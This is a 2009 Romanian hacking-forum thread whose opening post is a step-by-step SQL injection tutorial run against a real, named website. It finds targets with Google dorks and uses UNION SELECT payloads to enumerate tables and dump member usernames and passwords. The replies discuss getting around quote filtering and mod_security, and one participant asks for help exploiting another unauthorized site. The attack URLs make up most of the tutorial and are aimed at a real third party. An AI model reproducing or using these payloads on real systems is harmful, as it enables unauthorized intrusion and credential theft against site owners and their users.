ZeroCold Posted September 18, 2009 Report Posted September 18, 2009 (edited) Tutorial SQL Injection1.Ne alegem tinta:Pentru a o gasi mai usor cautam pe google:ext:php inurl:articole.phpEu am ales arts.org.roAsa......intram la "Noutati" si alegem un articol de acolo, eu l-am ales pe primul. Linkul arata asa:http://arts.org.ro/pagini/noutati.php?art=592.Verificam daca siteul este vulnerabil:Punem ‘ la sfarsitul linkului.Linkul arata asa:http://arts.org.ro/pagini/noutati.php?art=59’Daca nu se intampla nimic inseamna ca nu este vulnerabil, daca primim eroare inseamna ca este vulnerabil. In cazul nostru am primit eroare, deci este vulnerabil:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 - Query was: SELECT * FROM noutati WHERE id=59'3.Cautam numarul de coloane:Folosim order by:Prima data punem order by 1.http://arts.org.ro/pagini/noutati.php?art=59+order+by+1Nu primim eroare, inseamna ca are mai mult de o coloanaPunem order by 10http://arts.org.ro/pagini/noutati.php?art=59+order+by+10Apare eroarea, deci are mai putin de 10.Punem order by 9, apoi order by 10, pana ne dispare eroarea, in cazul nostru eroarea a disparut la order by 7:http://arts.org.ro/pagini/noutati.php?art=59+order+by+7Inseamna ca are 7 coloane.4.Cautam coloanele vulnerabile:Tocmai am aflat ca are 7 coloane, acum cautam coloanele vulnerabile.Punem union all select:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,2,3,4,5,6,7Undeva pe pagina vor aparea coloanele vulnerabile, in cazul nostru au aparut coloanele 2,3 si 4.5.Aflam versiunea MySQL:Pentru a afla versiunea MySQL punem in loc de cifrele aparute anterior pe pagina, @@version:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,@@version,3,4,5,6,7Versiunea este :5.0.45-logObservam ca a aparut in locul cifrei inlocuite.Daca versiunea este mai mare sau egala cu 5 atunci putem folosi information_schema, daca nu atunci trebuie sa ghicim totul.6.Cautam tabelul unde se afla username si password:Punem table_name:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tablesPutem cauta pe rand folosind limit:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+1,1http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+2,1http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,table_name,3,4,5,6,7+from+information_schema.tables+limit+3,1Si tot asa pana cand gasim tabelul dorit sau folosim group_concat:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28table_name%29,3,4,5,6,7+from+information_schema.tablesFolosind group_concat(table_name) primim toate tabelele separate prin virgula.In cazul nostru tabelul este: “membri”7.Cautam coloanele unde se afla parola si usernameul:Dupa ce am gasit tabelul dorit (ceva de genu: admin, users, members..etc) cautam coloanele, ele trebuie ar trebui sa aiba nume precum: pw, password, pass, user,username…etcLa fel ca si tabelele, le putem cauta pe rand cu limit:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+1,1http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+2,1http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,column_name,3,4,5,6,7+from+information_schema.columns+limit+3,1si tot asa…sau putem folosi group_concat(column_name):http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,group_concat%28column_name%29,3,4,5,6,7+from+information_schema.columnsIn cazul nostru coloanele sunt: username si password8.Obtinem user si pass:Putem vedea user si pass pe rand:User:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,3,4,5,6,7+from+membriPass:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,password,3,4,5,6,7+from+membriDaca avem doua sau mai multe coloane vulnerabile putem user pe una si pass pe alta:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,username,password,4,5,6,7+from+membriSau putem folosi “concat”:http://arts.org.ro/pagini/noutati.php?art=-59+union+all+select+1,concat%28username,0x3a,password%29,3,4,5,6,7+from+membriCam atat, sper ca de data asta sa fie bun tutorialul…Ps: Nu ma fac responsabil pentru daunele provocate de acest tutorial, este doar pentru scop informativ. Edited September 20, 2009 by ZeroCold Quote
Nytro Posted September 18, 2009 Report Posted September 18, 2009 Se vede de la o posta ca habar nu ai MySQL. Habar nu ai ce se intampla/ce face jumatate din ce ai scris acolo. Eu nu va inteleg... Mai faceti si tutoriale... Quote
Fitty Posted September 18, 2009 Report Posted September 18, 2009 "Aceea este versiunea siteului, este mai mare decat 5, deci putem folosi information_schema."M-ai dezamagit. Site-ul rstcenter.com ce versiune e? AND NO! You can't ask waszilica Quote
Guest Praetorian Posted September 18, 2009 Report Posted September 18, 2009 Se vede de la o posta ca habar nu ai MySQL. Habar nu ai ce se intampla/ce face jumatate din ce ai scris acolo. Eu nu va inteleg... Mai faceti si tutoriale...100% true.. Quote
ZeroCold Posted September 18, 2009 Author Report Posted September 18, 2009 (edited) Se vede de la o posta ca habar nu ai MySQL. Habar nu ai ce se intampla/ce face jumatate din ce ai scris acolo. Eu nu va inteleg... Mai faceti si tutoriale...Parca tu ai stiut la inceput Puteai sa spui si tu...ma, nu e bine acolo, fa asa.....da na ce sa faci....asta-i rst...so...shh ca ne luam warn/ban.Acum sunt la inceput, e normal sa mai gresesc.ps: facem pariu ca jumatate stiu ce face Edited September 18, 2009 by ZeroCold Quote
Guest Praetorian Posted September 18, 2009 Report Posted September 18, 2009 Daca esti la inceput, de ce ai facut acest tutorial ?!Asta a vrut sa spuna, cred.. Quote
ZeroCold Posted September 18, 2009 Author Report Posted September 18, 2009 Daca esti la inceput, de ce ai facut acest tutorial ?!Asta a vrut sa spuna, cred..Am facut acest tutorial pentru a invata, invat mai bine cand fac tutoriale si exersez de cat atunci cand tocesc.Daca nu este bun, aruncatil la cos. Quote
Adso Posted September 18, 2009 Report Posted September 18, 2009 altfel cum sa ne laudam.nu e vorba ca esti incepator, e vorba ca si cu alte notiuni cum ar fi filtrarea, etc nu te stii la ce folosesc! Quote
ZeroCold Posted September 18, 2009 Author Report Posted September 18, 2009 altfel cum sa ne laudam.nu e vorba ca esti incepator, e vorba ca si cu alte notiuni cum ar fi filtrarea, etc nu te stii la ce folosesc!Poi notiunea de filtrare...Aicifrom+information_schema.columns+where+table_name="membri"...cum sa explic....filtreaza datele si le da doar pe acelea care se afla in tabelul membri..nu? Quote
Guest Praetorian Posted September 18, 2009 Report Posted September 18, 2009 from+information_schema.columns+where+table_name="membri"lasa asta.. si daca nu sunt permise characterele ",' ce faci? Quote
ZeroCold Posted September 18, 2009 Author Report Posted September 18, 2009 folosescfrom+information_schema.columns+where+table_name= char() ? Quote
Guest Praetorian Posted September 18, 2009 Report Posted September 18, 2009 merge si cu char(ascii) dar mai usor este cu hex [tot aceasi prostie]Pariez ca ai cautat in tutoriale sa imi raspunzi, n-am dreptate? Quote
ZeroCold Posted September 18, 2009 Author Report Posted September 18, 2009 merge si cu char(ascii) dar mai usor este cu hex [tot aceasi prostie]Pariez ca ai cautat in tutoriale sa imi raspunzi, n-am dreptate?scuze, dar nu ai dreptate, nu m-am uitat.poti sa crezi ce vrei Quote
Guest Praetorian Posted September 18, 2009 Report Posted September 18, 2009 Daca era cum spui tu, nu stateai 10 min ca sa raspunzi! Quote
ZeroCold Posted September 25, 2009 Author Report Posted September 25, 2009 Am editat tutorialul.Acum este bun??? Quote
loki Posted September 25, 2009 Report Posted September 25, 2009 intrebare ca m-am izbit de o faza:daca am dibuit numarul coloanelor dar serverul are mod_rewrite se pare, adica accepta "order by" "select" dar nu accepta "union" exista vreo posibilitate sa cetesc ceva din baza lor de date? Quote
Fitty Posted September 26, 2009 Report Posted September 26, 2009 mod_rewrite? sau ai vrut sa zici mod_security? daca asta e activ nu poti extrage date folosind UNION, caci este filtrat cuvantul... Quote
loki Posted September 26, 2009 Report Posted September 26, 2009 da, probabil mod_security... mi-a ramas in minte ceva dupa ce am vizitat cateva pagini pe google cautand problema asta. In afara de union mai exista vreo posibilitate de incercat? Quote
ieframe Posted November 19, 2009 Report Posted November 19, 2009 (edited) Sunt incepator,dar am inteles tutorialul pe deplin,ceea ce nu inteleg de ce in cazul tau este "membri" +union+all+select+1,username,3,4,5,6,7+from+membri.Cum imi dau seama ce imi trebuie mie? Edited November 21, 2009 by ieframe Quote
gaabytzu Posted January 28, 2010 Report Posted January 28, 2010 sal baieti,am un site care imi da bataie de cap de la o bucata de timp.Am scanat cu acunetix un site si am gasit SQL Injection la un site care se termina cu "/uploads.php?page=' " deci nu este cu page=3 s.a.m.d imi explica si mie cineva cum pot exploata ceva de genu? Apropo imi da eroarea "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /partitie/htdocs/_functions.php on line 997" Quote
ZeroCold Posted January 28, 2010 Author Report Posted January 28, 2010 sal baieti,am un site care imi da bataie de cap de la o bucata de timp.Am scanat cu acunetix un site si am gasit SQL Injection la un site care se termina cu "/uploads.php?page=' " deci nu este cu page=3 s.a.m.d imi explica si mie cineva cum pot exploata ceva de genu? Apropo imi da eroarea "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /partitie/htdocs/_functions.php on line 997"Da-mi pm cu siteu sau punel aici Quote